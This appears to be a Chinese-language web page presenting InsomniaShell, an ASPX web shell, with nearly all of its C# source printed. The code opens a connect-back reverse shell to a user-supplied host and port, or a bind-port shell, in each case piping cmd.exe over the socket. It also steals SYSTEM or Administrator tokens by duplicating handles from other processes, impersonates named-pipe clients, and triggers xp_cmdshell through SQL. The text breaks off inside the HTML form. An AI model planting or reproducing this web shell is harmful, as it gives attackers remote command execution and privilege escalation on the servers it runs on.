InsomniaShell ASPX版的 shell后门创建工具
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- 周边
InsomniaShell (失眠后门),是一个用于渗透测试的工具,当服务器支持aspx,并且为SYSTEM 或者 Administrator 权限 ,就可以利用其获得一个反弹shell ,或者一个正向shell。
程序代码:
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<%@ Page Language="C#" %> <%@ Import Namespace="System.Runtime.InteropServices" %> <%@ Import Namespace="System.Net" %> <%@ Import Namespace="System.Net.Sockets" %> <%@ Import Namespace="System.Security.Principal" %> <%@ Import Namespace="System.Data.SqlClient" %> <script runat="server"> //-------------------------------------------------------- // INSOMNIA SECURITY :: InsomniaShell.aspx // // .aspx shell helper page // brett.moore@insomniasec.com :: www.insomniasec.com //-------------------------------------------------------- // Some c token code portions borrowed from ppl such as // Cesar Cerrudo and Matt Conover //-------------------------------------------------------- // Some Bollox To Do Socket Shells With .net // throw in some more to do token impersonation // and a bit more for namedpipe impersonation //-------------------------------------------------------- [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO { public int cb; public String lpReserved; public String lpDesktop; public String lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public int Length; public IntPtr lpSecurityDescriptor; public bool bInheritHandle; } [DllImport("kernel32.dll")] static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); public static uint INFINITE = 0xFFFFFFFF; [DllImport("kernel32", SetLastError = true, ExactSpelling = true)] internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds); internal struct sockaddr_in { /// <summary> /// Protocol family indicator. /// </summary> public short sin_family; /// <summary> /// Protocol port. /// </summary> public short sin_port; /// <summary> /// Actual address value. /// </summary> public int sin_addr; /// <summary> /// Address content list. /// </summary> //[MarshalAs(UnmanagedType.LPStr, SizeConst=8)] //public string sin_zero; public long sin_zero; } [DllImport("kernel32.dll")] static extern IntPtr GetStdHandle(int nStdHandle); [DllImport("kernel32.dll")] static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle); public const int STD_INPUT_HANDLE = -10; public const int STD_OUTPUT_HANDLE = -11; public const int STD_ERROR_HANDLE = -12; [DllImport("kernel32")] static extern bool AllocConsole(); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int inet_addr([In] string cp); [DllImport("ws2_32.dll")] private static extern string inet_ntoa(uint ip); [DllImport("ws2_32.dll")] private static extern uint htonl(uint ip); [DllImport("ws2_32.dll")] private static extern uint ntohl(uint ip); [DllImport("ws2_32.dll")] private static extern ushort htons(ushort ip); [DllImport("ws2_32.dll")] private static extern ushort ntohs(ushort ip); [DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)] internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int send( [In] IntPtr socketHandle, [In] byte[] pinnedBuffer, [In] int len, [In] SocketFlags socketFlags ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int recv( [In] IntPtr socketHandle, [In] IntPtr pinnedBuffer, [In] int len, [In] SocketFlags socketFlags ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int closesocket( [In] IntPtr socketHandle ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern IntPtr accept( [In] IntPtr socketHandle, [In, Out] ref sockaddr_in socketAddress, [In, Out] ref int socketAddressSize ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int listen( [In] IntPtr socketHandle, [In] int backlog ); [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern int bind( [In] IntPtr socketHandle, [In] ref sockaddr_in socketAddress, [In] int socketAddressSize ); public enum TOKEN_INFORMATION_CLASS { TokenUser = 1, TokenGroups, TokenPrivileges, TokenOwner, TokenPrimaryGroup, TokenDefaultDacl, TokenSource, TokenType, TokenImpersonationLevel, TokenStatistics, TokenRestrictedSids, TokenSessionId } [DllImport("advapi32", CharSet = CharSet.Auto)] public static extern bool GetTokenInformation( IntPtr hToken, TOKEN_INFORMATION_CLASS tokenInfoClass, IntPtr TokenInformation, int tokeInfoLength, ref int reqLength); public enum TOKEN_TYPE { TokenPrimary = 1, TokenImpersonation } public enum SECURITY_IMPERSONATION_LEVEL { SecurityAnonymous, SecurityIdentification, SecurityImpersonation, SecurityDelegation } [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)] public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")] public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType, ref IntPtr DuplicateTokenHandle); const int ERROR_NO_MORE_ITEMS = 259; [StructLayout(LayoutKind.Sequential)] struct TOKEN_USER { public _SID_AND_ATTRIBUTES User; } [StructLayout(LayoutKind.Sequential)] public struct _SID_AND_ATTRIBUTES { public IntPtr Sid; public int Attributes; } [DllImport("advapi32", CharSet = CharSet.Auto)] public extern static bool LookupAccountSid ( [In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName, // name of local or remote computer IntPtr pSid, // security identifier StringBuilder Account, // account name buffer ref int cbName, // size of account name buffer StringBuilder DomainName, // domain name ref int cbDomainName, // size of domain name buffer ref int peUse // SID type // ref _SID_NAME_USE peUse // SID type ); [DllImport("advapi32", CharSet = CharSet.Auto)] public extern static bool ConvertSidToStringSid( IntPtr pSID, [In, Out, MarshalAs(UnmanagedType.LPTStr)] ref string pStringSid); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool CloseHandle( IntPtr hHandle); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwProcessId); [Flags] public enum ProcessAccessFlags : uint { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VMOperation = 0x00000008, VMRead = 0x00000010, VMWrite = 0x00000020, DupHandle = 0x00000040, SetInformation = 0x00000200, QueryInformation = 0x00000400, Synchronize = 0x00100000 } [DllImport("kernel32.dll")] static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] extern static IntPtr GetCurrentThread(); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); [DllImport("psapi.dll", SetLastError = true)] public static extern bool EnumProcessModules(IntPtr hProcess, [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule, uint cb, [MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded); [DllImport("psapi.dll")] static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize); //------------------------------------------------------------------------------------------------------------------------------- public const uint PIPE_ACCESS_OUTBOUND = 0x00000002; public const uint PIPE_ACCESS_DUPLEX = 0x00000003; public const uint PIPE_ACCESS_INBOUND = 0x00000001; public const uint PIPE_WAIT = 0x00000000; public const uint PIPE_NOWAIT = 0x00000001; public const uint PIPE_READMODE_BYTE = 0x00000000; public const uint PIPE_READMODE_MESSAGE = 0x00000002; public const uint PIPE_TYPE_BYTE = 0x00000000; public const uint PIPE_TYPE_MESSAGE = 0x00000004; public const uint PIPE_CLIENT_END = 0x00000000; public const uint PIPE_SERVER_END = 0x00000001; public const uint PIPE_UNLIMITED_INSTANCES = 255; public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff; public const uint NMPWAIT_NOWAIT = 0x00000001; public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000; public const uint GENERIC_READ = (0x80000000); public const uint GENERIC_WRITE = (0x40000000); public const uint GENERIC_EXECUTE = (0x20000000); public const uint GENERIC_ALL = (0x10000000); public const uint CREATE_NEW = 1; public const uint CREATE_ALWAYS = 2; public const uint OPEN_EXISTING = 3; public const uint OPEN_ALWAYS = 4; public const uint TRUNCATE_EXISTING = 5; public const int INVALID_HANDLE_VALUE = -1; public const ulong ERROR_SUCCESS = 0; public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2; public const ulong ERROR_PIPE_BUSY = 231; public const ulong ERROR_NO_DATA = 232; public const ulong ERROR_PIPE_NOT_CONNECTED = 233; public const ulong ERROR_MORE_DATA = 234; public const ulong ERROR_PIPE_CONNECTED = 535; public const ulong ERROR_PIPE_LISTENING = 536; //------------------------------------------------------------------------------------------------------------------------------- [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr CreateNamedPipe( String lpName, // pipe name uint dwOpenMode, // pipe open mode uint dwPipeMode, // pipe-specific modes uint nMaxInstances, // maximum number of instances uint nOutBufferSize, // output buffer size uint nInBufferSize, // input buffer size uint nDefaultTimeOut, // time-out interval IntPtr pipeSecurityDescriptor // SD ); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool ConnectNamedPipe( IntPtr hHandle, // handle to named pipe uint lpOverlapped // overlapped structure ); [DllImport("Advapi32.dll", SetLastError = true)] public static extern bool ImpersonateNamedPipeClient( IntPtr hHandle); // handle to named pipe [DllImport("kernel32.dll", SetLastError = true)] public static extern bool GetNamedPipeHandleState( IntPtr hHandle, IntPtr lpState, IntPtr lpCurInstances, IntPtr lpMaxCollectionCount, IntPtr lpCollectDataTimeout, StringBuilder lpUserName, int nMaxUserNameSize ); //------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ protected void CallbackShell(string server, int port) { // This will do a call back shell to the specified server and port string request = "Shell enroute.......\n"; Byte[] bytesSent = Encoding.ASCII.GetBytes(request); IntPtr oursocket = IntPtr.Zero; sockaddr_in socketinfo; // Create a socket connection with the specified server and port. oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0); // Setup And Bind Socket socketinfo = new sockaddr_in(); socketinfo.sin_family = (short) AddressFamily.InterNetwork; socketinfo.sin_addr = inet_addr(server); socketinfo.sin_port = (short) htons((ushort)port); //Connect connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo)); send(oursocket, bytesSent, request.Length, 0); SpawnProcessAsPriv(oursocket); closesocket(oursocket); } protected void BindPortShell(int port) { // This will bind to a port and then send back a shell string request = "Shell enroute.......\n"; Byte[] bytesSent = Encoding.ASCII.GetBytes(request); IntPtr oursocket = IntPtr.Zero; sockaddr_in socketinfo; // Create a socket connection with the specified server and port. oursocket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, 0); // Setup And Bind Socket socketinfo = new sockaddr_in(); socketinfo.sin_family = (short)AddressFamily.InterNetwork; uint INADDR_ANY =0x00000000; socketinfo.sin_addr = (int) htonl(INADDR_ANY); socketinfo.sin_port = (short)htons((ushort) port); // Bind bind(oursocket,ref socketinfo,Marshal.SizeOf(socketinfo)); // Lsten listen(oursocket, 128); // Wait for connection int socketSize = Marshal.SizeOf(socketinfo); oursocket = accept(oursocket, ref socketinfo, ref socketSize); send(oursocket, bytesSent, request.Length, 0); SpawnProcessAsPriv(oursocket); closesocket(oursocket); } protected void SpawnProcess(IntPtr oursocket) { // Spawn a process to a socket withouth impersonation bool retValue; string Application = Environment.GetEnvironmentVariable("comspec"); PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); pSec.Length = Marshal.SizeOf(pSec); sInfo.dwFlags = 0x00000101; // STARTF.STARTF_USESHOWWINDOW | STARTF.STARTF_USESTDHANDLES; // Set Handles sInfo.hStdInput = oursocket; sInfo.hStdOutput = oursocket; sInfo.hStdError = oursocket; //Spawn Shell retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo); // Wait for it to finish WaitForSingleObject(pInfo.hProcess, (int)INFINITE); } protected void GetSystemToken(ref IntPtr DupeToken) { // Enumerate all accessible processes looking for a system token SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); sa.bInheritHandle = false; sa.Length = Marshal.SizeOf(sa); sa.lpSecurityDescriptor = (IntPtr)0; // Find Token IntPtr pTokenType = Marshal.AllocHGlobal(4); int TokenType = 0; int cb = 4; string astring = ""; IntPtr token = IntPtr.Zero; IntPtr duptoken = IntPtr.Zero; IntPtr hProc = IntPtr.Zero; IntPtr usProcess = IntPtr.Zero; uint pid = 0; for (pid = 0; pid < 9999; pid += 4) { hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid); usProcess = GetCurrentProcess(); if (hProc != IntPtr.Zero) { for (int x = 1; x <= 9999; x += 4) { token = (IntPtr)x; if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2)) { if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb)) { TokenType = Marshal.ReadInt32(pTokenType); switch ((TOKEN_TYPE)TokenType) { case TOKEN_TYPE.TokenPrimary: astring = "Primary"; break; case TOKEN_TYPE.TokenImpersonation: // Get the impersonation level GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb); TokenType = Marshal.ReadInt32(pTokenType); switch ((SECURITY_IMPERSONATION_LEVEL)TokenType) { case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous: astring = "Impersonation - Anonymous"; break; case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification: astring = "Impersonation - Identification"; break; case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation: astring = "Impersonation - Impersonation"; break; case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation: astring = "Impersonation - Delegation"; break; } break; } // Get user name TOKEN_USER tokUser; string username; const int bufLength = 256; IntPtr tu = Marshal.AllocHGlobal(bufLength); cb = bufLength; GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb); tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER)); username = DumpAccountSid(tokUser.User.Sid); Marshal.FreeHGlobal(tu); if (username.ToString() == "NT AUTHORITY\\\\SYSTEM") { // Coverts a primary token to an impersonation if (DuplicateTokenEx(duptoken, GENERIC_ALL, ref sa, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, ref DupeToken)) { // Display the token type //Response.Output.Write("* Duplicated token is {0}<br>", DisplayTokenType(DupeToken)); return; } } } CloseHandle(duptoken); } } CloseHandle(hProc); } } } protected void GetAdminToken(ref IntPtr DupeToken) { // Enumerate all accessible processes looking for a system token SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); sa.bInheritHandle = false; sa.Length = Marshal.SizeOf(sa); sa.lpSecurityDescriptor = (IntPtr)0; // Find Token IntPtr pTokenType = Marshal.AllocHGlobal(4); int TokenType = 0; int cb = 4; string astring = ""; IntPtr token = IntPtr.Zero; IntPtr duptoken = IntPtr.Zero; IntPtr hProc = IntPtr.Zero; IntPtr usProcess = IntPtr.Zero; uint pid = 0; for (pid = 0; pid < 9999; pid += 4) { hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid); usProcess = GetCurrentProcess(); if (hProc != IntPtr.Zero) { for (int x = 1; x <= 9999; x += 4) { token = (IntPtr)x; if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2)) { if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb)) { TokenType = Marshal.ReadInt32(pTokenType); switch ((TOKEN_TYPE)TokenType) { case TOKEN_TYPE.TokenPrimary: astring = "Primary"; break; case TOKEN_TYPE.TokenImpersonation: // Get the impersonation level GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb); TokenType = Marshal.ReadInt32(pTokenType); switch ((SECURITY_IMPERSONATION_LEVEL)TokenType) { case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous: astring = "Impersonation - Anonymous"; break; case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification: astring = "Impersonation - Identification"; break; case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation: astring = "Impersonation - Impersonation"; break; case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation: astring = "Impersonation - Delegation"; break; } break; } // Get user name TOKEN_USER tokUser; string username; const int bufLength = 256; IntPtr tu = Marshal.AllocHGlobal(bufLength); cb = bufLength; GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb); tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER)); username = DumpAccountSid(tokUser.User.Sid); Marshal.FreeHGlobal(tu); if (username.EndsWith("Administrator")) { // Coverts a primary token to an impersonation if (DuplicateTokenEx(duptoken, GENERIC_ALL, ref sa, SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, TOKEN_TYPE.TokenPrimary, ref DupeToken)) { // Display the token type //Response.Output.Write("* Duplicated token is {0}<br>", DisplayTokenType(DupeToken)); return; } } } CloseHandle(duptoken); } } CloseHandle(hProc); } } } protected void SpawnProcessAsPriv(IntPtr oursocket) { // Spawn a process to a socket bool retValue; string Application = Environment.GetEnvironmentVariable("comspec"); PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); pSec.Length = Marshal.SizeOf(pSec); sInfo.dwFlags = 0x00000101; // STARTF.STARTF_USESHOWWINDOW | STARTF.STARTF_USESTDHANDLES; IntPtr DupeToken = new IntPtr(0); // Get the token GetSystemToken(ref DupeToken); if (DupeToken == IntPtr.Zero) GetAdminToken(ref DupeToken); // Display the token type //Response.Output.Write("* Creating shell as {0}<br>", DisplayTokenType(DupeToken)); // Set Handles sInfo.hStdInput = oursocket; sInfo.hStdOutput = oursocket; sInfo.hStdError = oursocket; //Spawn Shell if (DupeToken == IntPtr.Zero) retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo); else retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo); // Wait for it to finish WaitForSingleObject(pInfo.hProcess, (int)INFINITE); //Close It all up CloseHandle(DupeToken); } //-------------------------------------------------------- // Display the type of token and the impersonation level //-------------------------------------------------------- protected StringBuilder DisplayTokenType(IntPtr token) { IntPtr pTokenType = Marshal.AllocHGlobal(4); int TokenType = 0; int cb = 4; StringBuilder sb = new StringBuilder(); GetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb); TokenType = Marshal.ReadInt32(pTokenType); switch ((TOKEN_TYPE)TokenType) { case TOKEN_TYPE.TokenPrimary: sb.Append("Primary"); break; case TOKEN_TYPE.TokenImpersonation: // Get the impersonation level GetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb); TokenType = Marshal.ReadInt32(pTokenType); switch ((SECURITY_IMPERSONATION_LEVEL)TokenType) { case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous: sb.Append("Impersonation - Anonymous"); break; case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification: sb.Append("Impersonation - Identification"); break; case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation: sb.Append("Impersonation - Impersonation"); break; case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation: sb.Append("Impersonation - Delegation"); break; } break; } Marshal.FreeHGlobal(pTokenType); return sb; } protected void DisplayCurrentContext() { Response.Output.Write("* Thread executing as {0}, token is {1}<br>", WindowsIdentity.GetCurrent().Name, DisplayTokenType(WindowsIdentity.GetCurrent().Token)); } protected string DumpAccountSid(IntPtr SID) { int cchAccount = 0; int cchDomain = 0; int snu = 0; StringBuilder sb = new StringBuilder(); // Caller allocated buffer StringBuilder Account = null; StringBuilder Domain = null; bool ret = LookupAccountSid(null, SID, Account, ref cchAccount, Domain, ref cchDomain, ref snu); if (ret == true) if (Marshal.GetLastWin32Error() == ERROR_NO_MORE_ITEMS) return "Error"; try { Account = new StringBuilder(cchAccount); Domain = new StringBuilder(cchDomain); ret = LookupAccountSid(null, SID, Account, ref cchAccount, Domain, ref cchDomain, ref snu); if (ret) { sb.Append(Domain); sb.Append(@"\\"); sb.Append(Account); } else sb.Append("logon account (no name) "); } catch (Exception ex) { Console.WriteLine(ex.Message); } finally { } //string SidString = null; //ConvertSidToStringSid(SID, ref SidString); //sb.Append("\nSID: "); //sb.Append(SidString); return sb.ToString(); } protected string GetProcessName(uint PID) { IntPtr hProc = IntPtr.Zero; uint[] hMod = new uint[2048]; uint cbNeeded; int exeNameSize = 255; StringBuilder exeName = null; exeName = new StringBuilder(exeNameSize); hProc = OpenProcess(ProcessAccessFlags.QueryInformation | ProcessAccessFlags.VMRead, false, PID); if (hProc != IntPtr.Zero) { if (EnumProcessModules(hProc, hMod, UInt32.Parse(hMod.Length.ToString()), out cbNeeded)) { GetModuleBaseName(hProc, hMod[0], exeName, (uint)exeNameSize); } } CloseHandle( hProc ); return exeName.ToString(); } //*************************************************************************** // DISPLAY THE AVAILABLE TOKENS //*************************************************************************** protected void DisplayAvailableTokens() { IntPtr pTokenType = Marshal.AllocHGlobal(4); int TokenType = 0; int cb = 4; string astring = ""; IntPtr token = IntPtr.Zero; IntPtr duptoken = IntPtr.Zero; IntPtr hProc = IntPtr.Zero; IntPtr usProcess = IntPtr.Zero; uint pid = 0; for (pid = 0; pid < 9999; pid+=4) { hProc = OpenProcess(ProcessAccessFlags.DupHandle, false, pid); usProcess = GetCurrentProcess(); if (hProc != IntPtr.Zero) { //Response.Output.Write("Opened process PID: {0} : {1}<br>", pid, GetProcessName(pid)); for (int x = 1; x <= 9999; x+=4) { token = (IntPtr)x; if (DuplicateHandle(hProc, token, usProcess, out duptoken, 0, false, 2)) { //Response.Output.Write("Duplicated handle: {0}<br>", x); if (GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenType, pTokenType, 4, ref cb)) { TokenType = Marshal.ReadInt32(pTokenType); switch ((TOKEN_TYPE)TokenType) { case TOKEN_TYPE.TokenPrimary: astring = "Primary"; break; case TOKEN_TYPE.TokenImpersonation: // Get the impersonation level GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, pTokenType, 4, ref cb); TokenType = Marshal.ReadInt32(pTokenType); switch ((SECURITY_IMPERSONATION_LEVEL)TokenType) { case SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous: astring = "Impersonation - Anonymous"; break; case SECURITY_IMPERSONATION_LEVEL.SecurityIdentification: astring = "Impersonation - Identification"; break; case SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation: astring = "Impersonation - Impersonation"; break; case SECURITY_IMPERSONATION_LEVEL.SecurityDelegation: astring = "Impersonation - Delegation"; break; } break; } // Get user name TOKEN_USER tokUser; string username; const int bufLength = 256; IntPtr tu = Marshal.AllocHGlobal(bufLength); cb = bufLength; GetTokenInformation(duptoken, TOKEN_INFORMATION_CLASS.TokenUser, tu, cb, ref cb); tokUser = (TOKEN_USER)Marshal.PtrToStructure(tu, typeof(TOKEN_USER)); username = DumpAccountSid(tokUser.User.Sid); Marshal.FreeHGlobal(tu); if (username.ToString() == "NT AUTHORITY\\\\SYSTEM") Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid,x, username, astring); else if (username.EndsWith("Administrator")) Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid,x, username, astring); //else //Response.Output.Write("[{0:0000}] - {2} : {3}</a><br>", pid, x, username, astring); } CloseHandle(duptoken); } else { //Response.Output.Write("Handle: {0} Error: {1}<br>", x,GetLastError()); } } CloseHandle(hProc); } else { //Response.Output.Write("Failed to open process PID: {0}<br>", pid); } } } protected void Page_Load(object sender, EventArgs e) { } protected void butConnectBack_Click(object sender, EventArgs e) { String host = txtRemoteHost.Text; int port = Convert.ToInt32(txtRemotePort.Text); CallbackShell(host, port); } protected void butBindPort_Click(object sender, EventArgs e) { int port = Convert.ToInt32(txtBindPort.Text); BindPortShell(port); } protected void butCreateNamedPipe_Click(object sender, EventArgs e) { String pipeName = "\\\\.\\pipe\\" + txtPipeName.Text; IntPtr hPipe = IntPtr.Zero; IntPtr secAttr = IntPtr.Zero; Response.Output.Write("+ Creating Named Pipe: {0}<br>", pipeName); hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 2, 0, 0, 0, secAttr); // Check value if (hPipe.ToInt32() == INVALID_HANDLE_VALUE) { Response.Write("- Failed to create named pipe:"); Response.End(); } Response.Output.Write("+ Created Named Pipe: {0}<br>", pipeName); // wait for client to connect Response.Write("+ Waiting for connection...<br>"); ConnectNamedPipe(hPipe, 0); // Get connected user info StringBuilder userName = new StringBuilder(256); if (!GetNamedPipeHandleState(hPipe, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, userName, userName.Capacity)) { Response.Write("- Error Getting User Info<br>"); Response.End(); } Response.Output.Write("+ Connection From Client: {0}<br>", userName); // assume the identity of the client // Response.Write("+ Impersonating client...<br>"); if (!ImpersonateNamedPipeClient(hPipe)) { Response.Write("- Failed to impersonate the named pipe.<br>"); CloseHandle(hPipe); Response.End(); } CloseHandle(hPipe); } protected void butSQLRequest_Click(object sender, EventArgs e) { String pipeName = "\\\\.\\pipe\\" + txtPipeName.Text; String command = "exec master..xp_cmdshell 'dir > \\\\127.0.0.1\\pipe\\" + txtPipeName.Text + "'"; // Make a local sql request to the pipe String connectionString = "server=127.0.0.1;database=master;uid=" + txtSQLUser.Text + ";password=" + txtSQLPass.Text; // create a new SqlConnection object with the appropriate connection string SqlConnection sqlConn = new SqlConnection(connectionString); Response.Output.Write("+ Sending {0}<br>", command); // open the connection sqlConn.Open(); // do some operations ... // create the command object SqlCommand sqlComm = new SqlCommand(command, sqlConn); sqlComm.ExecuteNonQuery(); // close the connection sqlConn.Close(); } </script> <html> <head runat="server"> <title>InsomniaShell</title> </head> <body> <form id="form1" runat="server"> <div> <asp:Label ID="Label10" runat="server" Height="26px" Text="InsomniaShell" Width="278px" Font-Bold="True"></asp:Label><br /> <asp:Label ID="Label5" runat="server" Height="26px" Text="Current Context" Width="278px" Font-Bold="True"></asp:Label><br /> <% DisplayCurrentContext();%> <br /> <asp:Label ID="Label1" runat="server" Height="26px" Text="Select Your Shell" Width="278px" Font-Bold="True"></asp:Label><br /> <br /> <asp:Label ID="Label2" runat="server" Text="Host" Width="198px"></asp:Label> <asp:Label ID="Label3" runat="server" Text="Port" Width="101px"></asp:Label><br /> <asp:TextBox ID="txtRemoteHost" runat="server" Width="191px"></asp:TextBox> <asp:TextBox ID="txtRemotePort" runat="server" Width="94px"></asp:TextBox><br /> <asp:Button ID="butConnectBack" runat="server" OnClick="butConnectBack_Click" Text="Connect Back Shell" Width="302px" /><br /> <br /> <asp:Label ID="Port" runat="server" Text="Port" Width="189px"></asp:Label><br /> <asp:TextBox ID="txtBindPort" runat="server" Width="91px"></asp:TextBox><br /> <asp:Button ID="butBindPort" runat="server" OnClick="butBindPort_Click" Text="Bind Port Shell" Width="299px" /><br /> <br /> <asp:Label ID="Label7" runat="server" Height="26px" Text="Named Pipe Attack" Width="278px" Font-Bold="True"></asp:Label><br /> <br /> <asp:Label ID="Label6" runat="server" Text="Pipe Name" Width="198px"></asp:Label><br /> <asp:TextBox ID="txtPipeName" runat="server" Text="InsomniaShell" Width="191px"></asp:TextBox><br /> <asp:Button ID="Button1" runat="server" OnClick="butCreateNamedPipe_Click" Text="Create Named Pipe" Width="400px" /><br /> <asp:Label ID="Label8" runat="server" Text="SQL User" Width="198px"></asp:Label> <asp:Label ID="Label9" runat="server" Text="SQL Pass" Width="101px"></asp:Label><br /> <asp:TextBox ID="txtSQLUser" runat="server" 